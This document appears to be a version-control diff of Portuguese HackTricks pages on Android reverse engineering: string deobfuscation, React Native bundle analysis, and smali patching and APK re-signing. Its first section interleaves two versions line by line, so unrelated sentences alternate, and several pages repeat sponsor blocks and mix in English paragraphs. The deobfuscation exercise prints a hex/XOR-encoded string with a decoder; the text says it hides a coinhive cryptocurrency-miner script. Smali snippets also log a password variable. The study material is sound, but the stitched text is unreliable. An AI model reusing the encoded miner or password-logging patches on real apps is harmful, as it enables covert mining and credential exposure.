- **Java e Código Nativo**: Outro método é traduzir o algoritmo de desofuscação para uma linguagem de script como Python. Esta estratégia destaca que o objetivo principal não é entender completamente o algoritmo, mas executá-lo de forma eficaz.
|
||||
|
||||
* Ausência de strings ou presença de strings embaralhadas em Java e Android, indicando ofuscação de strings.
|
||||
* Existência de arquivos binários no diretório de ativos ou chamadas DexClassLoader, indicando possível desempacotamento e carregamento de código.
|
||||
* Uso de bibliotecas nativas sem funções JNI identificáveis, sugerindo ofuscação de métodos nativos.
|
||||
### **Identificação da Ofuscação**
|
||||
|
||||
### Exercício de Desofuscação de Strings
|
||||
Reconhecer o código ofuscado é o primeiro passo no processo de desofuscação. Indicadores-chave incluem:
|
||||
|
||||
Um exercício é fornecido para praticar a desofuscação de strings dentro de um contexto de análise estática. A tarefa envolve um arquivo de amostra com um digest SHA256 específico, exigindo que o analista descubra uma string Javascript ofuscada sem executar a aplicação dinamicamente.
|
||||
- A **ausência ou embaralhamento de strings** em Java e Android, o que pode sugerir ofuscação de strings.
|
||||
- A **presença de arquivos binários** no diretório de ativos ou chamadas para `DexClassLoader`, indicando desempacotamento de código e carregamento dinâmico.
|
||||
- O uso de **bibliotecas nativas juntamente com funções JNI não identificáveis**, indicando potencial ofuscação de métodos nativos.
|
||||
|
||||
A solução envolve um script Python que decifra a string codificada, revelando um script embutido originário de coinhive.com e iniciando um minerador.
|
||||
## **Análise Dinâmica na Desofuscação**
|
||||
|
||||
### Recursos Adicionais
|
||||
Ao executar o código em um ambiente controlado, a análise dinâmica **permite observar como o código ofuscado se comporta em tempo real**. Este método é particularmente eficaz para descobrir o funcionamento interno de padrões de ofuscação complexos que são projetados para ocultar a verdadeira intenção do código.
|
||||
|
||||
Mais insights sobre desofuscação de aplicativos Android, especialmente focando em técnicas avançadas de ofuscação, podem ser explorados nas palestras do BlackHat USA 2018 e REcon 2019, cada uma cobrindo aspectos únicos da ofuscação em aplicativos Android.
|
||||
### **Aplicações da Análise Dinâmica**
|
||||
|
||||
Exercício de https://maddiestone.github.io/AndroidAppRE/obfuscation.html:
|
||||
```python
|
||||
enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"
|
||||
- **Descriptografia em Tempo de Execução**: Muitas técnicas de ofuscação envolvem a criptografia de strings ou segmentos de código que só são descriptografados em tempo de execução. Através da análise dinâmica, esses elementos criptografados podem ser capturados no momento da descriptografia, revelando sua forma verdadeira.
|
||||
- **Identificação de Técnicas de Ofuscação**: Ao monitorar o comportamento do aplicativo, a análise dinâmica pode ajudar a identificar técnicas específicas de ofuscação sendo usadas, como virtualização de código, empacotadores ou geração de código dinâmico.
|
||||
- **Descoberta de Funcionalidades Ocultas**: O código ofuscado pode conter funcionalidades ocultas que não são aparentes apenas através da análise estática. A análise dinâmica permite observar todos os caminhos de código, incluindo aqueles executados condicionalmente, para descobrir tais funcionalidades ocultas.
|
||||
|
||||
length = len(enc_str)
|
||||
count = 0
|
||||
dec_str = [0] * (length/2)
|
||||
while (count < length):
|
||||
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
|
||||
count += 2
|
||||
print dec_str
|
||||
|
||||
|
||||
key = [75, 67, 81, 82, 49, 57, 84, 90]
|
||||
enc_str = dec_str
|
||||
count = 0
|
||||
length = len(enc_str)
|
||||
while (count < length):
|
||||
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
|
||||
count += 1
|
||||
print ''.join(dec_str)
|
||||
```
|
||||
# Referências e Leitura Adicional
|
||||
## Referências e Leituras Adicionais
|
||||
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||
* BlackHat USA 2018: “Desempacotando o Empacotador: Engenharia Reversa de uma Biblioteca Anti-Análise Android” \[[vídeo](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* Esta palestra aborda a engenharia reversa de uma das bibliotecas nativas anti-análise mais complexas que já vi utilizadas por um aplicativo Android. Ela cobre principalmente técnicas de ofuscação em código nativo.
|
||||
* REcon 2019: “O Caminho para o Payload: Edição Android” \[[vídeo](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* Esta palestra discute uma série de técnicas de ofuscação, exclusivamente em código Java, que um botnet Android estava usando para esconder seu comportamento.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* BlackHat USA 2018: “Desempacotando o Desempacotador Empacotado: Engenharia Reversa de uma Biblioteca Anti-Análise Android” \[[vídeo](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* Esta palestra aborda engenharia reversa de uma das bibliotecas nativas anti-análise mais complexas que vi sendo usada por um aplicativo Android. Ela cobre principalmente técnicas de ofuscação em código nativo.
|
||||
* REcon 2019: “O Caminho para a Carga Útil: Edição Android” \[[vídeo](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* Esta palestra discute uma série de técnicas de ofuscação, exclusivamente em código Java, que um botnet Android estava usando para ocultar seu comportamento.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,64 +1,62 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
# Análise de Aplicativo React Native
|
||||
|
||||
Para confirmar se o aplicativo foi construído com o framework React Native, siga estes passos:
|
||||
|
||||
1. Renomeie o arquivo APK com uma extensão zip e extraia-o para uma nova pasta usando o comando `cp com.example.apk example-apk.zip` e `unzip -qq example-apk.zip -d ReactNative`.
|
||||
|
||||
2. Navegue até a pasta ReactNative recém-criada e localize a pasta assets. Dentro desta pasta, você deve encontrar o arquivo `index.android.bundle`, que contém o JavaScript do React em formato minificado.
|
||||
|
||||
3. Use o comando `find . -print | grep -i ".bundle$"` para procurar o arquivo JavaScript.
|
||||
|
||||
Para analisar mais a fundo o código JavaScript, crie um arquivo chamado `index.html` no mesmo diretório com o seguinte código:
|
||||
```html
|
||||
<script src="./index.android.bundle"></script>
|
||||
```
|
||||
Você pode fazer o upload do arquivo para [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) ou seguir estes passos:
|
||||
|
||||
1. Abra o arquivo `index.html` no Google Chrome.
|
||||
|
||||
2. Abra a Barra de Ferramentas do Desenvolvedor pressionando **Command+Option+J para OS X** ou **Control+Shift+J para Windows**.
|
||||
|
||||
3. Clique em "Sources" na Barra de Ferramentas do Desenvolvedor. Você deve ver um arquivo JavaScript que está dividido em pastas e arquivos, formando o pacote principal.
|
||||
|
||||
Se você encontrar um arquivo chamado `index.android.bundle.map`, você poderá analisar o código-fonte em um formato não minificado. Arquivos de mapa contêm mapeamento de fonte, que permite mapear identificadores minificados.
|
||||
|
||||
Para procurar por credenciais sensíveis e endpoints, siga estes passos:
|
||||
|
||||
1. Identifique palavras-chave sensíveis para analisar o código JavaScript. Aplicações React Native frequentemente usam serviços de terceiros como Firebase, endpoints do serviço AWS S3, chaves privadas, etc.
|
||||
|
||||
2. Neste caso específico, observou-se que a aplicação estava usando o serviço Dialogflow. Procure por um padrão relacionado à sua configuração.
|
||||
|
||||
3. Foi afortunado que credenciais sensíveis codificadas foram encontradas no código JavaScript durante o processo de reconhecimento.
|
||||
|
||||
No geral, seguindo estes passos, você pode analisar uma aplicação React Native, confirmar seu framework e procurar por informações sensíveis potenciais dentro do código.
|
||||
|
||||
# Referências
|
||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
# Análise da Aplicação React Native
|
||||
|
||||
Para confirmar se a aplicação foi construída com o framework React Native, siga estes passos:
|
||||
|
||||
1. Renomeie o arquivo APK com a extensão zip e extraia-o para uma nova pasta usando o comando `cp com.example.apk example-apk.zip` e `unzip -qq example-apk.zip -d ReactNative`.
|
||||
|
||||
2. Navegue até a pasta ReactNative recém-criada e localize a pasta de assets. Dentro desta pasta, você deve encontrar o arquivo `index.android.bundle`, que contém o JavaScript React em um formato minificado.
|
||||
|
||||
3. Use o comando `find . -print | grep -i ".bundle$"` para procurar pelo arquivo JavaScript.
|
||||
|
||||
Para analisar ainda mais o código JavaScript, crie um arquivo chamado `index.html` no mesmo diretório com o seguinte código:
|
||||
```html
|
||||
<script src="./index.android.bundle"></script>
|
||||
```
|
||||
Podes carregar o ficheiro para [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) ou seguir estes passos:
|
||||
|
||||
1. Abre o ficheiro `index.html` no Google Chrome.
|
||||
|
||||
2. Abre a Barra de Ferramentas do Programador pressionando **Command+Option+J para OS X** ou **Control+Shift+J para Windows**.
|
||||
|
||||
3. Clica em "Sources" na Barra de Ferramentas do Programador. Deverás ver um ficheiro JavaScript dividido em pastas e ficheiros, formando o pacote principal.
|
||||
|
||||
Se encontrares um ficheiro chamado `index.android.bundle.map`, poderás analisar o código-fonte num formato não minificado. Os ficheiros de mapeamento contêm mapeamentos de origem, que te permitem mapear identificadores minificados.
|
||||
|
||||
Para procurar credenciais sensíveis e endpoints, segue estes passos:
|
||||
|
||||
1. Identifica palavras-chave sensíveis para analisar o código JavaScript. As aplicações React Native frequentemente utilizam serviços de terceiros como Firebase, endpoints de serviços AWS S3, chaves privadas, etc.
|
||||
|
||||
2. Neste caso específico, observou-se que a aplicação estava a utilizar o serviço Dialogflow. Procura um padrão relacionado com a sua configuração.
|
||||
|
||||
3. Foi uma sorte encontrar credenciais sensíveis codificadas no código JavaScript durante o processo de reconhecimento.
|
||||
|
||||
## Referências
|
||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se quiseres ver a tua **empresa anunciada no HackTricks** ou **descarregar o HackTricks em PDF** verifica os [**PLANOS DE SUBSCRIÇÃO**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtém o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descobre [**A Família PEASS**](https://opensea.io/collection/the-peass-family), a nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junta-te ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **segue-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partilha os teus truques de hacking submetendo PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,33 +2,35 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
Às vezes, é interessante modificar o código do aplicativo para acessar informações ocultas para você (talvez senhas bem ofuscadas ou flags). Nesse caso, pode ser interessante descompilar o apk, modificar o código e recompilá-lo.
|
||||
Às vezes é interessante modificar o código do aplicativo para acessar informações ocultas para você (talvez senhas bem ofuscadas ou flags). Nesse caso, pode ser interessante decompilar o apk, modificar o código e recompilá-lo.
|
||||
|
||||
**Referência de opcodes:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
**Referência de Opcodes:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
|
||||
## Forma Rápida
|
||||
|
||||
Usando o **Visual Studio Code** e a extensão [APKLab](https://github.com/APKLab/APKLab), você pode **descompilar**, modificar, **recompilar**, assinar e instalar o aplicativo automaticamente, sem executar nenhum comando.
|
||||
Usando o **Visual Studio Code** e a extensão [APKLab](https://github.com/APKLab/APKLab), você pode **decompilar**, modificar, **recompilar**, assinar e instalar automaticamente o aplicativo sem executar nenhum comando.
|
||||
|
||||
Outro **script** que facilita muito essa tarefa é [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)****
|
||||
Outro **script** que facilita muito essa tarefa é [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
|
||||
## Descompilar o APK
|
||||
## Decompilar o APK
|
||||
|
||||
Usando o APKTool, você pode acessar o **código smali e recursos**:
|
||||
```
|
||||
```bash
|
||||
apktool d APP.apk
|
||||
```
|
||||
Se o **apktool** apresentar algum erro, tente [instalar a **versão mais recente**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
Se o **apktool** apresentar algum erro, tente [instalar a **última versão**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
Alguns **arquivos interessantes que você deve procurar são**:
|
||||
|
||||
|
@ -36,11 +38,11 @@ Alguns **arquivos interessantes que você deve procurar são**:
|
|||
* _AndroidManifest.xml_
|
||||
* Qualquer arquivo com a extensão _.sqlite_ ou _.db_
|
||||
|
||||
Se o `apktool` tiver **problemas ao decodificar o aplicativo**, dê uma olhada em [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ou tente usar o argumento **`-r`** (Não decodificar recursos). Então, se o problema estiver em um recurso e não no código-fonte, você não terá o problema (você também não descompilará os recursos).
|
||||
Se o `apktool` tiver **problemas ao decodificar o aplicativo**, dê uma olhada em [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ou tente usar o argumento **`-r`** (Não decodificar recursos). Então, se o problema estiver em um recurso e não no código-fonte, você não terá o problema (também não decodificará os recursos).
|
||||
|
||||
## Alterar o código Smali
|
||||
|
||||
Você pode **alterar** **instruções**, alterar o **valor** de algumas variáveis ou **adicionar** novas instruções. Eu altero o código Smali usando o [**VS Code**](https://code.visualstudio.com), então você instala a extensão **smalise** e o editor irá informar se alguma **instrução estiver incorreta**.\
|
||||
Você pode **alterar** **instruções**, alterar o **valor** de algumas variáveis ou **adicionar** novas instruções. Eu altero o código Smali usando [**VS Code**](https://code.visualstudio.com), então você instala a **extensão smalise** e o editor irá informar se alguma **instrução estiver incorreta**.\
|
||||
Alguns **exemplos** podem ser encontrados aqui:
|
||||
|
||||
* [Exemplos de alterações no Smali](smali-changes.md)
|
||||
|
@ -56,7 +58,7 @@ apktool b . #In the folder generated when you decompiled the application
|
|||
```
|
||||
Ele irá **compilar** o novo APK **dentro** da pasta _**dist**_.
|
||||
|
||||
Se o **apktool** lançar um **erro**, tente [instalar a **versão mais recente**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
Se o **apktool** lançar um **erro**, tente [instalar a **última versão**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
### **Assine o novo APK**
|
||||
|
||||
|
@ -64,7 +66,7 @@ Em seguida, você precisa **gerar uma chave** (será solicitada uma senha e algu
|
|||
```bash
|
||||
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
||||
```
|
||||
Finalmente, **assinando** o novo APK:
|
||||
Finalmente, **assin** o novo APK:
|
||||
```bash
|
||||
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||
```
|
||||
|
@ -77,20 +79,20 @@ zipalign -v 4 infile.apk
|
|||
```
|
||||
### **Assine o novo APK (novamente?)**
|
||||
|
||||
Se você **preferir** usar o \[**apksigner**]\([**https://developer.android.com/studio/command-line/apksigner**](https://developer.android.com/studio/command-line/apksigner))\*\* em vez do jarsigner, **você deve assinar o apk** após aplicar **a otimização com** zipalign\*\*. MAS OBSERVE QUE\*\* VOCÊ SÓ PRECISA ASSINAR O APLICATIVO UMA VEZ\*\* COM o jarsigner (antes do zipalign) OU COM o apksigner (após o zipalign).
|
||||
Se você **preferir** usar [**apksigner**](https://developer.android.com/studio/command-line/) em vez de jarsigner, **você deve assinar o apk** após aplicar **a otimização com** zipalign. MAS OBSERVE QUE VOCÊ SÓ PRECISA **ASSINAR O APLICATIVO UMA VEZ** COM jarsigner (antes do zipalign) OU COM apksigner (após o zipalign).
|
||||
```bash
|
||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||
```
|
||||
## Modificando Smali
|
||||
|
||||
Para o seguinte código Java Hello World:
|
||||
```
|
||||
```java
|
||||
public static void printHelloWorld() {
|
||||
System.out.println("Hello World")
|
||||
}
|
||||
```
|
||||
O código Smali seria:
|
||||
```
|
||||
```java
|
||||
.method public static printHelloWorld()V
|
||||
.registers 2
|
||||
sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
|
||||
|
@ -101,12 +103,12 @@ return-void
|
|||
```
|
||||
O conjunto de instruções Smali está disponível [aqui](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||
|
||||
### Mudanças Leves
|
||||
### Alterações Leves
|
||||
|
||||
### Modificar valores iniciais de uma variável dentro de uma função
|
||||
|
||||
Algumas variáveis são definidas no início da função usando o opcode _const_, você pode modificar seus valores ou definir novas variáveis:
|
||||
```
|
||||
Algumas variáveis são definidas no início da função usando o opcode _const_, você pode modificar seus valores, ou pode definir novos:
|
||||
```bash
|
||||
#Number
|
||||
const v9, 0xf4240
|
||||
const/4 v8, 0x1
|
||||
|
@ -114,40 +116,7 @@ const/4 v8, 0x1
|
|||
const-string v5, "wins"
|
||||
```
|
||||
### Operações Básicas
|
||||
|
||||
#### Adding Log Statements
|
||||
|
||||
#### Adicionando Declarações de Log
|
||||
|
||||
To understand the flow of an Android app and identify potential vulnerabilities, it is often helpful to add log statements to the app's code. This allows us to see the values of variables, method calls, and other important information during runtime.
|
||||
|
||||
Para entender o fluxo de um aplicativo Android e identificar possíveis vulnerabilidades, muitas vezes é útil adicionar declarações de log ao código do aplicativo. Isso nos permite ver os valores das variáveis, chamadas de método e outras informações importantes durante a execução.
|
||||
|
||||
To add a log statement, we need to modify the smali code of the app. Smali is the assembly-like language used by Android apps. We can use a text editor or a specialized tool like apktool to decompile the app's APK file and access its smali code.
|
||||
|
||||
Para adicionar uma declaração de log, precisamos modificar o código smali do aplicativo. Smali é a linguagem semelhante a assembly usada pelos aplicativos Android. Podemos usar um editor de texto ou uma ferramenta especializada como o apktool para descompilar o arquivo APK do aplicativo e acessar seu código smali.
|
||||
|
||||
Once we have the smali code, we can search for the specific method or section where we want to add the log statement. We then insert the log statement using the appropriate smali syntax.
|
||||
|
||||
Depois de obtermos o código smali, podemos procurar pelo método ou seção específica onde queremos adicionar a declaração de log. Em seguida, inserimos a declaração de log usando a sintaxe smali apropriada.
|
||||
|
||||
For example, to log the value of a variable named `password` in a method called `login`, we can add the following smali code:
|
||||
|
||||
Por exemplo, para registrar o valor de uma variável chamada `password` em um método chamado `login`, podemos adicionar o seguinte código smali:
|
||||
|
||||
```smali
|
||||
const-string v0, "password: "
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
```
|
||||
|
||||
In this code, `const-string` is used to define a string value, `invoke-static` is used to call the `d` method of the `Log` class, and `v0` and `p1` are registers that hold the string values.
|
||||
|
||||
Neste código, `const-string` é usado para definir um valor de string, `invoke-static` é usado para chamar o método `d` da classe `Log`, e `v0` e `p1` são registradores que armazenam os valores de string.
|
||||
|
||||
After adding the log statement, we can recompile the smali code back into an APK file using apktool. We can then install the modified APK on an Android device or emulator to observe the log output.
|
||||
|
||||
Após adicionar a declaração de log, podemos recompilar o código smali de volta para um arquivo APK usando o apktool. Em seguida, podemos instalar o APK modificado em um dispositivo Android ou emulador para observar a saída do log.
|
||||
```
|
||||
```bash
|
||||
#Math
|
||||
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
|
||||
mul-int v0,v2,0x2 #v2*0x2 and save in v0
|
||||
|
@ -171,8 +140,8 @@ goto :goto_6 #Always go to: :goto_6
|
|||
```
|
||||
### Mudanças Maiores
|
||||
|
||||
### Registro (Logging)
|
||||
```
|
||||
### Registro
|
||||
```bash
|
||||
#Log win: <number>
|
||||
iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5
|
||||
invoke-static {v5}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; #Transform number to String
|
||||
|
@ -182,18 +151,18 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
|
|||
```
|
||||
Recomendações:
|
||||
|
||||
* Se você for usar variáveis declaradas dentro da função (declaradas v0,v1,v2...), coloque essas linhas entre _.local \<número>_ e as declarações das variáveis (_const v0, 0x1_)
|
||||
* Se você quiser colocar o código de log no meio do código de uma função:
|
||||
* Se você for usar variáveis declaradas dentro da função (declaradas v0, v1, v2...), coloque essas linhas entre o _.local \<número>_ e as declarações das variáveis (_const v0, 0x1_)
|
||||
* Se deseja inserir o código de log no meio do código de uma função:
|
||||
* Adicione 2 ao número de variáveis declaradas: Ex: de _.locals 10_ para _.locals 12_
|
||||
* As novas variáveis devem ser os próximos números das variáveis já declaradas (neste exemplo, seriam _v10_ e _v11_, lembre-se de que começa em v0).
|
||||
* As novas variáveis devem ser os próximos números das variáveis já declaradas (neste exemplo, seriam _v10_ e _v11_, lembre-se que começa em v0).
|
||||
* Altere o código da função de log e use _v10_ e _v11_ em vez de _v5_ e _v1_.
|
||||
|
||||
### Toasting
|
||||
|
||||
Lembre-se de adicionar 3 ao número de _.locals_ no início da função.
|
||||
|
||||
Este código está preparado para ser inserido no **meio de uma função** (**altere** o número das **variáveis** conforme necessário). Ele irá pegar o **valor de this.o**, **transformá-lo** em **String** e então **fazer** um **toast** com o seu valor.
|
||||
```
|
||||
Este código está preparado para ser inserido no **meio de uma função** (**altere** o número das **variáveis** conforme necessário). Ele irá pegar o **valor de this.o**, **transformá-lo** em **String** e então **fazer** um **toast** com seu valor.
|
||||
```bash
|
||||
const/4 v10, 0x1
|
||||
const/4 v11, 0x1
|
||||
const/4 v12, 0x1
|
||||
|
